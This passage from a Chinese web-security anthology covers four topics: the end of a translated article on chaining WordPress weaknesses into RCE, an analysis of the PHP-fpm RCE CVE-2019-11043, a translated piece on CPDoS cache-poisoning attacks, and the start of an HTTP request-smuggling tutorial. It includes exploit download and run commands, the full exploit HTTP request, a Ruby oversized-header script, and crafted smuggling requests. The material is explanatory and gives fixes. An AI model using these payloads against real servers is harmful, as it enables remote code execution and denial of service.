利用了。通过结合两个弱点，我们即可完成一个任意 php代码执行（RCE啊我艹）

9.6 寻找有效利用

上述案例只是一个漏洞的示例，完整流程是当两个位于不同位置的弱点，能组合利用的时候才能完整

触发。因此，传统的【用户输入】【危险函数】审计方法是不可能很好发现这种利用方法的，如果只

看 include()的代码块只能找到个无法利用的弱点，虽然对于修补潜在风险发现问题马上修补这个

方法已经够了，但作为漏洞研究员，我们不能直观的把这些弱点与其他组件的功能联系起来利用，所

以我们需要一种更标准的审计挖掘方法 (思路)帮助我们快速统计各种弱点并尝试组合，将这些低位弱

点按正确的逻辑顺序拼成一个牛批的高危 0day。

因此，我们重新组织挖掘方法分为四个步骤来开展审计。
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9.6.1 （一）组件识别分类

由于影响较小的弱点之间的联系，通常位于【Web应用程序的逻辑】和【框架的整体结构】之间，因此

将【Web应用程序】解构成【模块组件】是有意义的，每个【模块组件】相对于【整体结构】和【web

应用程序】都有独特的存在目的，所以不能简单地只把整个【Web应用程序】看作是一堆的函数和类

去直接审计。

例如，分出一个【主题组件】它就只处理WordPress主题相关的功能和逻辑。另一个【文件组件】

可能是WordPress的文件管理组件，它只负责处理所有文件操作。考虑这些组件的另一种方法是黑盒

测试：组件接收数据、进行处理、继续传递。例如【主题组件】接收数据，它就应该显示博客文章的

类型，以及此处应该使用模板的数据。（稍后我们通过一个实例来理解）

9.6.2 （二）按功能列举组件

当研究员审计特定功能时我们应该去细分【模块组件】，如实现 ‘‘文章创建’’的功能，就可以细分成由

很多【模块组件】组成。
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例如，在WordPress中创建文章时【用户输入】将通过多个【模块组件】传递，最后整体组成 ‘‘文

章评论’’功能：

1. 首先针对 XSS攻击进行了清理（XSS过滤组件）

2. 然后针对 SEO进行了优化（SEO组件）

3. 然后将文章存储在数据库中（数据库组件）

4. 从数据库中获取并再次修改（编辑组件）

5. 嵌入到生成的 HTML页面（主题组件）

如上，我们可以将 ‘‘文章创建’’功能分解成WordPress中的五个不同【模块组件】所组成。

9.6.3 （三）按列举联动审计

将功能分解为多个模块组件，我们就可以对每个参与的模块组件按顺序跟进并发问：‘‘这个模块组件

为什么在这？又 TM是干嘛的？有没有可能出错？”

例如，在（二）中，当我们分析WordPress文章创建时存在一个【SEO组件】，该组件在过滤输入

后，会修改文章中的 HTML标签，因此关于问题 ‘‘这 TM是干嘛的？有没有可能出错？’’，分析发现，

该【SEO组件】用来分析、修改和优化文章中用于 SEO的中 HTML标签。如果可以截断解析和影响

修改过程则可能会出现 XSS漏洞。我们将在稍后提供更多实际示例，这些示例讲述了我们如何找到单

个组件中的漏洞。

当研究人员明确了寻找目的时，他们可以更有效地搜索或扫描单个组件中的缺陷。从模块组件归

类（模块组件多少取决于被审计功能目的、复杂程度等）中审计单个组件的缺陷，使我们可以发现影

响较小的缺陷，否则这些小缺陷很容易被忽略。

9.6.4 （四）构造漏洞利用链

总结前面的步骤，我们首先必须：

1. 将 web应用细分为（与安全相关的）各种组件

2. 将功能抽象为一系列模块组件的集合，并了解这些组件如何相互关联

121



3. 找出相关模块组件中的一个或多个弱点

然后，我们可以挖掘所发现的弱点与其余功能之间的关系，思考如何将它们组合在一起变成一个

完整的 exp-chain。

在这最后一步中我们可能遇上一系列困难。这些弱点仍然存在于源代码中的原因通常是 ‘‘总之存

在某些限制’’导致无法直接利用。但是，只要研究人员了解了各步骤的局限性，以及找到 bypass的解

决方案，他就可以开始整体审计找出最终关键的切入点。由于这些限制是开发中非常普遍的，因此在

应用程序中仍然存在这种（因有限制没有被修改的）弱点的可能性非常高。

为了完整利用上文中 ‘‘局限性 LFI漏洞’’的那个例子，我们必须找到一个新的切入点，让我们可以

将任何文件上传到特定目录。由于此类错误不会直接导致远程代码执行，因此我们可以大胆假设，其

他挖洞的人和官方 review说不定将其忽略了。为了有效地发现一个能 bypass限制的利用点，我们可以

看看该模块组件存在于哪些功能里，然后在这几个使用了问题组件的功能中，去寻找能触发组件漏洞

的第一个入点，这样我们审计工作量就从 ‘‘大海捞针’’全局搜寻，缩减为 ‘‘有的放矢’’的只审计包含

问题组件的那几个功能了。

上文中 ‘‘身份验证的远程执行代码漏洞’’的示例我们就是这样做审计的。回顾一下：

1. 我们发现了一个允许包含某个目录中的任意文件的 LFI漏洞但是该目录不可访问，但不能将包

含 PHP代码的文件放入其中。

2. 突破限制的唯一方法是使用其他功能将用户可控的文件上传或移动到该特定目录。

清楚了这一点后，我们将研究范围减小到WordPress的插件更新组件和文件上传组件上。然后，我

们使用了如上审计的步骤，将每个功能分解为一系列包含在内的组件，以便从漏洞点的上游组件中，

找到允许我们将文件上传到特定目录的利用点。下一节中查看更复杂的示例。

9.6.5 漏洞分析

在本节中，我们通过分析源代码功能再分解为组件，并归纳组件之间的联系，来演示审计WordPress

的方法。然后，我们来分析一下此方法所找到的真实的安全漏洞。并非审计过程中的所有部分能对应

到特定的一个审计公式或固定准则（也有经验之谈和 fuzz瞎猜），但是我们总结的方法能让流程更简

洁易懂。

下面我们将进一步介绍有关WordPress内部结构的技术细节（无需事先预习WordPress知识）。每

个错误的出现都关乎我们需要的特定功能缺陷，最后建立出完整的 exp-chain。我们首先在WordPress

的管理员面板找到了一些小错误，并将这些小错误联系到一个需要身份验证的代码执行漏洞。但是该

漏洞需要管理员权限（这不是我想要的）。为了提升威力，我们尝试降低权限在目标站点上寻找能未授

权 RCE的切入点。

最终，我们设法找到了一个未授权的漏洞，该漏洞使我们可以接管高权用户的会话，并利用任何

已经过身份验证的用户会话来远程执行我们的 payload。

（未完，下一篇见:P）

翻译自《How we found 5 0days in WordPress》- RIPS Technologies



PHP-fpm远程代码执行漏洞（CVE-2019-11043）分析

作者：LoRexxar’@知道创宇 404实验室

来源：https://paper.seebug.org/1063/

国外安全研究员 Andrew Danau在解决一道 CTF题目时发现，向目标服务器 URL发送%0a符号时，

服务返回异常，疑似存在漏洞。

2019年 10月 23日，github公开漏洞相关的详情以及 exp。当 nginx配置不当时，会导致 php-fpm

远程任意代码执行。

下面我们就来一点点看看漏洞的详细分析，文章中漏洞分析部分感谢团队小伙伴@Hcamael#知道

创宇 404实验室

10.1 漏洞复现

为了能更方便的复现漏洞，这里我们采用 vulhub来构建漏洞环境。

https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

git pull并 docker-compose up -d

访问 http://{your_ip}:8080/

下载 github上公开的 exp(需要 go环境)。

go get github.com/neex/phuip-fpizdam

然后编译

go install github.com/neex/phuip-fpizdam

使用 exp攻击 demo网站
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phuip-fpizdam http://{your_ip}:8080/

攻击成功

10.2 漏洞分析

在分析漏洞原理之前，我们这里可以直接跟入看修复的 commit

–https://github.com/php/php-src/commit/ab061f95ca966731b1c84cf5b7b20155c0a1c06a#diff-624bdd47ab6847d777e15327976a9227

从 commit中我们可以很清晰的看出来漏洞成因应该是 path_info的地址可控导致的，再结合漏洞

发现者公开的漏洞信息中提到

The regexp in ‘fastcgi_split_path_info‘ directive can be broken using the newline character (in encoded form, %0a). Broken regexp leads to empty PATH_INFO, which triggers the bug.

也就是说，当 path_info被%0a截断时，path_info将被置为空，回到代码中我就不难发现问题所在

了。
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其中 env_path_info就是变量 path_info的地址，path_info为 0则 plien为 0.

slen变量来自于请求后 url的长度

int ptlen = strlen(pt);

int slen = len - ptlen;

其中

int len = script_path_translated_len;

len 为 url 路径长度

当请求 url 为 http://127.0.0.1/index.php/123%0atest.php

script_path_translated 来自于 nginx 的配置，为/var/www/html/index.php/123ntest.php

ptlen 则为 url 路径第一个斜杠之前的内容长度

当请求 url 为 http://127.0.0.1/index.php/123%0atest.php

pt 为/var/www/html/index.php

这两个变量的差就是后面的路径长度，由于路径可控，则 path_info可控。
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由于 path_info可控，在 1222行我们就可以将指定地址的值置零，根据漏洞发现者的描述，通过将

指定的地址的值置零，可以控制使 _fcgi_data_seg结构体的 char* pos置零。

其中 script_name同样来自于请求的配置

而为什么我们使 _fcgi_data_seg结构体的 char* pos置零，就会影响到 FCGI_PUTENV的结果呢？

这里我们深入去看 FCGI_PUTENV的定义.

char* fcgi_quick_putenv(fcgi_request *req, char* var, int var_len, unsigned int hash_value, char* val);

跟入函数 fcgi_quick_putenv

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L1703
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函数直接操作 request的 env，而这个参数在前面被预定义。

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L908

继续跟进初始化函数 fcgi_hash_init.

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L254

也就是说 request->env就是前面提到的 fcgi_data_seg结构体，而这里的 request->env是 nginx在和

fastcgi通信时储存的全局变量。

部分全局变量会在 nginx的配置中定义
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其中变量会在堆上相应的位置储存
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回到利用过程中，这里我们通过控制 path_info指向 request->env来使 request->env->pos置零。

继续回到赋值函数 fcgi_hash_set函数

紧接着进入 fcgi_hash_strndup

这里 h->data-》pos的最低位被置为 0，且 str可控，就相当于我们可以在前面写入数据。

而问题就在于，我们怎么能向我们想要的位置写数据呢？又怎么向我们指定的配置写文件呢？
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这里我们拿 exp发送的利用数据包做例子

GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1

Host: ubuntu.local:8080

User-Agent: Mozilla/5.0

D-Gisos: 8=====================================D

Ebut: mamku tvoyu

在数据包中，header中的最后两部分就是为了完成这部分功能，其中 D-Gisos负责位移，向指定的

位置写入数据。

而 Ebut会转化为 HTTP_EBUT这个 fastcgi_param中的其中一个全局变量，然后我们需要了解一下

fastcgi中全局变量的获取数据的方法。

https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L328

可以看到当 fastcgi想要获取全局变量时，会读取指定位置的长度字符做对比，然后读取一个字符

串作为 value.

也就是说，只要位置合理，var值相同，且长度相同，fastcgi就会读取相对应的数据。

而 HTTP_EBUT和 PHP_VALUE恰好长度相同，我们可以从堆上数据的变化来印证这一点。

在覆盖之前，该地址对应数据为

然后执行 fcgi_quick_putenv
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该地址对应数据变为

我们成功写入了 PHP_VALUE并控制其内容，这也就意味着我们可以控制 PHP的任意全局变量。

当我们可以控制 PHP的任意全局变量就有很多种攻击方式，这里直接以 EXP中使用到的攻击方式

来举例子。

exp作者通过开启自动包含，并设置包含目录为/tmp，之后设置 log地址为/tmp/a并将 payload写入

log文件，通过 auto_prepend_file自动包含/tmp/a文件构造后门文件。

10.3 漏洞修复

在经过对漏洞的深入研究后，我们推荐两种方案修复这个漏洞。

临时修复：

修改 nginx相应的配置，并在 php相关的配置中加入
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try_files $uri =404

在这种情况下，会有 nginx去检查文件是否存在，当文件不存在时，请求都不会被传递到 php-fpm。

正式修复：

将 PHP 7.1.X更新至 7.1.33 https://github.com/php/php-src/releases/tag/php-7.1.33

将 PHP 7.2.X更新至 7.2.24 https://github.com/php/php-src/releases/tag/php-7.2.24

将 PHP 7.3.X更新至 7.3.11 https://github.com/php/php-src/releases/tag/php-7.3.11

10.4 漏洞影响

结合 EXP github中提到的利用条件，我们可以尽可能的总结利用条件以及漏洞影响范围。

1、Nginx + php_fpm，且配置 location ~ [ˆ/].php(/|)php− f pm2Nginx f astcgis plitpathin f o，只有在这

种条件下才可以通过换行符来打断正则表达式判断。ps: 则允许 index.php/321 -> index.php

fastcgi_split_path_info ^(.+?.php)(/.*)$;

3、fastcgi_param中 PATH_INFO会被定义通过 fastcgi_param PATH_INFO $fastcgi_path_info;，当然

这个变量会在 fastcgi_params默认定义。4、在 nginx层面没有定义对文件的检查比如 try_files $uri =404，

如果 nginx层面做了文件检查，则请求不会被转发给 php-fmp。

这个漏洞在实际研究过程中对真实世界危害有限，其主要原因都在于大部分的 nginx配置中都携

带了对文件的检查，且默认的 nginx配置不包含这个问题。

但也正是由于这个原因，在许多网上的范例代码或者部分没有考虑到这个问题的环境，例如 Nginx

官方文档中的范例配置、NextCloud默认环境，都出现了这个问题，该漏洞也正真实的威胁着许多服

务器的安全。

在这种情况下，这个漏洞也切切实实的陷入了黑暗森林法则，一旦有某个带有问题的配置被传播，

其导致的可能就是大批量的服务受到牵连，确保及时的更新永远是对保护最好的手段:>

10.5 参考链接

漏洞 issue

漏洞发现者提供的环境

漏洞 exp

漏洞成因代码段

漏洞修复 commit

vulhub

https://www.nginx.com/resources/wiki/start/topics/examples/phpfcgi/

Seebug漏洞收录
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10.5.1 知道创宇 404实验室

知道创宇 404实验室，是国内黑客文化深厚的网络安全公司知道创宇最神秘和核心的部门，在知

道创宇 CSO、404实验室负责人周景平（黑哥）的带领下，知道创宇 404实验室长期致力于Web、IoT、

工控、区块链等领域内安全漏洞挖掘、攻防技术的研究工作，团队曾多次向国内外多家知名厂商如微

软、苹果、Adobe、腾讯、阿里、百度等提交漏洞研究成果，并协助修复安全漏洞，多次获得相关致

谢，在业内享有极高的声誉。
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CPDoS：一种新的 Web缓存污染攻击

译者：興趣使然的小胃

来源：https://www.anquanke.com/post/id/189507

11.1 0x00前言

CPDoS的全称为 Cache-Poisoned Denial-of-Service（缓存污染拒绝服务），是一种新的Web缓存污染攻

击，目标是导致目标站点及 web资源无法正常提供服务。

11.2 0x01工作原理

基本的攻击流程如下所示：

1、攻击者发送简单的 HTTP请求，请求中包含针对目标 web资源的恶意头部。该请求由中间缓存

端处理，恶意头部字段尽量保持隐蔽；

2、由于缓存端并没有存储目标资源的最新副本，因此会将请求转发至原始服务器。在原始服务器

端，由于请求中包含恶意头部，因此会出现错误；

3、因此，原始服务器会返回一个错误页面，该页面（而不是所请求的资源）会被缓存端存储；

4、当攻击者在响应中看到错误页面，就知道攻击已成功完成；

5、合法用户在后续请求中尝试获取目标资源；

6、合法用户无法拿到原始内容，会得到已被缓存的错误页面。
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利用 CPDoS攻击方式，恶意客户端可以阻止用户访问通过 CDN（如 Cloudfront或者 Clloudflare）

发布或者在代理缓存端（如 Varnish或 Squid）托管的任何 web资源（因此攻击者可以禁用各种资源，

如安全更新、JavaScript文件甚至整个站点）。需要注意的是，攻击者只需要精心构造一次请求，就能

限制正常用户访问目标内容的后续请求。

11.3 0x02 CPDoS类别

我们检测到 3类不同的 CPDoS：

HHO（HTTP Header Oversize，HTTP头部过长）

HMC（HTTP Meta Character，HTTP元字符）

HMO（HTTP Method Override，HTTP方法覆盖）

11.3.1 HHO

HTTP请求头部中包含对中间系统及 web服务器非常重要的一些信息，其中包括与缓存相关的头部

字段或客户端支持的媒体类型、语言及编码对应的元数据。HTTP标准中并没有定义 HTTP请求头

部的大小，因此，中间系统、web服务器以及 web框架在大小限制上都有自己的规定。大多数 web

服务器以及代理（Apache HTTPD）所限制的请求头的大小约为 8192字节，以缓解请求头缓冲区溢

出或ReDoS攻击。然而，其他有些中间系统的限制条件会超过这个阈值。比如，Amazon Cloudfront

CDN允许的大小为 20480字节。攻击者可以利用这一点，通过请求头大小限制来发起缓存污染攻击，

最终达到拒绝服务效果。

当 web应用使用的缓存端允许的头部大小比原始服务端允许的还大时，这种场景下攻击者就可以

发起 HHO CPDoS攻击。为了攻击这种 web应用，恶意客户端可以发送一个 HTTP GET请求，其中头

部大小比原始服务端支持的最大值大，但小于缓存端支持的最大值。为了完成该操作，攻击者可以有

两种选择。攻击者可以构造一个请求，请求头中带有许多恶意头部字段（参考如下 Ruby代码片段）；

攻击者还可以选择使用单个头部，其中包含一个过长的键值。

require ’net/http’

uri = URI("https://example.org/index.html")

req = Net::HTTP::Get.new(uri)

num = 200

i = 0

# Setting malicious and irrelevant headers fields for creating an oversized header

until i > num do

req["X-Oversized-Header-#{i}"] = "Big-Value-0000000000000000000000000000000000"

i +=1;
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end

res = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == ’https’) {|http|

http.request(req)

}

下图就是典型 HHO CPDoS攻击场景，其中恶意客户端发送由上述代码片段构造的一个请求。缓

存端会将该请求（包括所有头部字段）发往目标端点（因为头部大小低于 20480字节）。然而，web服

务端会阻止该请求，返回一个错误页面（因为请求头超过了头部大小限制）。带有 404 Bad Request

状态码的错误页面现在会被缓存端缓存。针对目标资源的后续所有请求都会返回错误页面，而不会返

回正常内容。

大家可以观看该视频了解针对托管在 Cloudfront上示例 web应用的 HHO CPDoS攻击。在此次攻

击中，攻击者有选择性地将 web资源替换成错误页面，最终导致整个页面无法提供服务。

11.3.2 HMC

HMC CPDoS攻击的原理与 HHO CPDoS攻击类似。这里攻击者并没有发送过长的头部，而是尝试使

用包含有害元字符的请求头来绕过缓存端。元字符可以为控制字符，比如换行符/回车符（\n）、换行

符（\r）或者响铃符（\a）。
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缓存端可能不会阻止该请求或者过滤其中的元字符，直接将这种请求发送到原始服务端。由于请

求中包含有害的元字符，因此原始服务端可能会将该请求划分到恶意类别，返回错误消息，该消息会

被缓存端缓存并复用。

11.3.3 HMO

HTTP标准提供了多个 HTTP方法，以便 web服务端以及客户端执行各种 web事务。GET、POST、

DELETE及 PUT是 web应用及基于 REST的 web服务最常使用的几种 HTTP方法。然而，许多中间

系统（如代理、负载均衡器、缓存以及防火墙）只支持 GET及 POST方法。这意味着使用 DELETE及

PUT的 HTTP请求会被阻止。为了绕过该限制，许多基于 REST的 API或 web框架（如Play Framework

1）提供了一些头部字段，如 X-HTTP-Method-Override、X-HTTP-Method或者 X-Method-Override，

以处理被阻止的 HTTP方法。一旦请求到达服务端，这些头部字段会引导 web应用使用对应的值来覆

盖请求行中的 HTTP方法。

POST /items/1 HTTP/1.1

Host: example.org

X-HTTP-Method-Override: DELETE

HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 62

Resource has been successfully removed with the DELETE method.

如上所示，该请求可以绕过安全策略，通过 X-HTTP-Method-Override头来使用 DELETE请求。

在服务端，这个 POST请求会被解析为 DELETE请求。
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当中间系统会阻止不同的 HTTP 方法时，这些头部字段就非常有用。然而，如果 web 应用支

持这种头部，并且使用了 web 缓存系统（如反向代理缓存或 CDN）来优化性能，那么恶意客户

端可以利用这种架构来发起 CPDoS攻击。下图演示了典型的 HMO CPDoS攻击场景，其中使用了

X-HTTP-Method-Override头。

在上图中，攻击者在发送的 GET请求中，X-HTTP-Method-Override头部字段的值为 POST。存

在漏洞的缓存端会将该请求解析为发往 https://example.org/index.html的正常 GET请求。然而，

web应用会将该请求解析为 POST请求。因此，web应用会基于 POST请求来返回响应。这里我们假

设目标 web应用并没有在/index.html上实现适用于 POST请求的任何逻辑。在这种情况下，web框

架（如Play Framework 1）会返回错误消息，状态码为 404 Not Found。缓存端会认为返回的响应以

及错误码对应的是发往 https://example.org/index.html的 GET请求。根据RFC 7231，404 Not

Found是可以被缓存的一种状态码，因此缓存端会存储并为后续的重复请求复用这个错误代码。后面

每个正常的客户端如果向 https://example.org/index.html发送 GET请求，都会收到被缓存的错

误消息以及 404 Not Found状态码，不会看到真正的 web应用起始页面。

针对 web应用的 HMO攻击可参考此处视频，其中攻击者使用Postman工具阻止用户访问起始页面。

11.4 0x03影响范围

下图显示了 CPDoS攻击对 CDN的影响。注入错误页面后，CDN会将其发布到世界各地的边缘缓存服

务器。下图演示了这个错误页面在 CDN架构中的辐射范围，其中，红色坐标代表会显示错误页面的位

置。幸运的是，并不是所有边缘服务器都会受这种攻击影响，这类边缘服务器用绿色坐标标识，该坐

标代表客户端可以接收到正常页面。蓝色坐标为原始服务端的位置，剩余一个坐标为攻击者的位置。

根据第一张图，当攻击者从法兰克向德国科隆的某个源服务器发起 CPDoS攻击时，欧洲及亚洲部

分位置会受到影响。根据第二张图，当攻击者从美国北弗吉尼亚对德国科隆的同一个源服务器发起

CPDoS攻击时，美国部分区域会受到影响。
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我们通过TurboBytes Pulse及KeyCDN的测速工具来分析攻击结果。这两个服务都能提供测试环境，

覆盖遍布全球的许多测试代理。

11.5 0x04 CPDoS漏洞概览

下图整体描述了哪种 web缓存系统与 HTTP实现搭配时会受 CPDoS攻击影响，如果大家想了解更多

细节，可访问此处下载详细报告。
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11.6 0x05缓解措施

HHO及 HMC CPDoS之所以能攻击成功，原因在于存在漏洞的缓存端在默认情况下会存储包含错误

代码的响应（入如 400 Bad Request）。根据 HTTP 标准，这是不被允许的一种行为。Web 缓存标准只

允许缓存 404 Not Found、405 Method Not Allowed、410 Gone 以及 501 Not Implemented‘错误代码。因

此，我们需要根据 HTTP标准策略来缓存错误页面，这是缓解 CPDoS攻击的第一个步骤。

内容提供方还必须为对应的错误情况来使用响应的状态码。比如，许多 HTTP实现中会为过长的

头部返回 400 Bad Request代码，这并不是合适的状态码。当特定头部过长时，IIS甚至会使用 404

Not Found。真正适用于过长请求头的错误代码为 431 Request Header Fields Too Large。根据

我们的分析，这个错误信息并不会被任何 web缓存系统所缓存。

针对 HHO及 HMC CPDoS攻击的另一种有效策略就是从缓存中排除错误页面。一种方法就是在每

个错误页面中添加 Cache-Control: no-store头。另一个选项就是在缓存配置中禁用错误页面缓存

功能。类似 CloudFront或者 Akamai之类的 CDN会提供类似配置，便于用户进行操作。

此外，我们也可以部署WAF（web应用防火墙）来缓解 CPDoS攻击。然而，WAF必须部署在缓存

端前方，以便在恶意内容到达原始服务器前采取阻止措施。如果WAF部署在原始服务器前方，也会

被攻击者利用，成功缓存错误页面。
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如果大家想了解关于缓解措施方面的更多细节，请参考我们的研究论文。
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协议层的攻击——HTTP请求走私

作者：mengchen@知道创宇 404实验室

来源：https://paper.seebug.org/1048/

12.1 1. 前言

最近在学习研究 BlackHat的议题，其中有一篇议题——”HTTP Desync Attacks: Smashing into the Cell

Next Door’’引起了我极大地兴趣，在其中，作者讲述了 HTTP走私攻击这一攻击手段，并且分享了他

的一些攻击案例。我之前从未听说过这一攻击方式，决定对这一攻击方式进行一个完整的学习梳理，

于是就有了这一篇文章。

当然了，作为这一攻击方式的初学者，难免会有一些错误，还请诸位斧正。

12.2 2. 发展时间线

最早在 2005年，由 Chaim Linhart，Amit Klein，Ronen Heled和 Steve Orrin共同完成了一篇关于 HTTP

Request Smuggling这一攻击方式的报告。通过对整个 RFC文档的分析以及丰富的实例，证明了这一

攻击方式的危害性。

https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf

在 2016年的 DEFCON 24上，@regilero在他的议题——Hiding Wookiees in HTTP中对前面报告中

的攻击方式进行了丰富和扩充。

https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%

20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf

在 2019 年的 BlackHat USA 2019 上，PortSwigger 的 James Kettle 在他的议题——HTTP Desync

Attacks: Smashing into the Cell Next Door中针对当前的网络环境，展示了使用分块编码来进行攻击的

攻击方式，扩展了攻击面，并且提出了完整的一套检测利用流程。

https://www.blackhat.com/us-19/briefings/schedule/#http-desync-attacks-smashing-into-the-cell-next-

door-15153

12.3 3. 产生原因

HTTP请求走私这一攻击方式很特殊，它不像其他的Web攻击方式那样比较直观，它更多的是在复杂

网络环境下，不同的服务器对 RFC标准实现的方式不同，程度不同。这样一来，对同一个 HTTP请

求，不同的服务器可能会产生不同的处理结果，这样就产生了了安全风险。
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在进行后续的学习研究前，我们先来认识一下如今使用最为广泛的 HTTP 1.1的协议特性——Keep-

Alive&Pipeline。

在 HTTP1.0之前的协议设计中，客户端每进行一次 HTTP请求，就需要同服务器建立一个 TCP链

接。而现代的Web网站页面是由多种资源组成的，我们要获取一个网页的内容，不仅要请求 HTML

文档，还有 JS、CSS、图片等各种各样的资源，这样如果按照之前的协议设计，就会导致 HTTP服务

器的负载开销增大。于是在 HTTP1.1中，增加了 Keep-Alive和 Pipeline这两个特性。

所谓 Keep-Alive，就是在 HTTP请求中增加一个特殊的请求头 Connection: Keep-Alive，告诉服务

器，接收完这次 HTTP请求后，不要关闭 TCP链接，后面对相同目标服务器的 HTTP请求，重用这一

个 TCP链接，这样只需要进行一次 TCP握手的过程，可以减少服务器的开销，节约资源，还能加快

访问速度。当然，这个特性在 HTTP1.1中是默认开启的。

有了 Keep-Alive之后，后续就有了 Pipeline，在这里呢，客户端可以像流水线一样发送自己的 HTTP

请求，而不需要等待服务器的响应，服务器那边接收到请求后，需要遵循先入先出机制，将请求和响

应严格对应起来，再将响应发送给客户端。

现如今，浏览器默认是不启用 Pipeline的，但是一般的服务器都提供了对 Pipleline的支持。

为了提升用户的浏览速度，提高使用体验，减轻服务器的负担，很多网站都用上了 CDN加速服务，

最简单的加速服务，就是在源站的前面加上一个具有缓存功能的反向代理服务器，用户在请求某些静

态资源时，直接从代理服务器中就可以获取到，不用再从源站所在服务器获取。这就有了一个很典型

的拓扑结构。
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一般来说，反向代理服务器与后端的源站服务器之间，会重用 TCP链接。这也很容易理解，用户

的分布范围是十分广泛，建立连接的时间也是不确定的，这样 TCP链接就很难重用，而代理服务器与

后端的源站服务器的 IP地址是相对固定，不同用户的请求通过代理服务器与源站服务器建立链接，这

两者之间的 TCP链接进行重用，也就顺理成章了。

当我们向代理服务器发送一个比较模糊的 HTTP请求时，由于两者服务器的实现方式不同，可能

代理服务器认为这是一个 HTTP请求，然后将其转发给了后端的源站服务器，但源站服务器经过解析

处理后，只认为其中的一部分为正常请求，剩下的那一部分，就算是走私的请求，当该部分对正常用

户的请求造成了影响之后，就实现了 HTTP走私攻击。

12.3.1 3.1 CL不为 0的 GET请求

其实在这里，影响到的并不仅仅是 GET请求，所有不携带请求体的 HTTP请求都有可能受此影响，只

因为 GET比较典型，我们把它作为一个例子。

在 RFC2616中，没有对 GET请求像 POST请求那样携带请求体做出规定，在最新的 RFC7231的

4.3.1节中也仅仅提了一句。

https://tools.ietf.org/html/rfc7231#section-4.3.1

sending a payload body on a GET request might cause some existing implementations to reject the

request

假设前端代理服务器允许 GET请求携带请求体，而后端服务器不允许 GET请求携带请求体，它

会直接忽略掉 GET请求中的 Content-Length头，不进行处理。这就有可能导致请求走私。

比如我们构造请求

GET / HTTP/1.1rn

Host: example.comrn

Content-Length: 44rn

GET / secret HTTP/1.1rn

Host: example.comrn

rn

前端服务器收到该请求，通过读取 Content-Length，判断这是一个完整的请求，然后转发给后端服

务器，而后端服务器收到后，因为它不对 Content-Length进行处理，由于 Pipeline的存在，它就认为这

是收到了两个请求，分别是

第一个

GET / HTTP/1.1rn

Host: example.comrn
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第二个

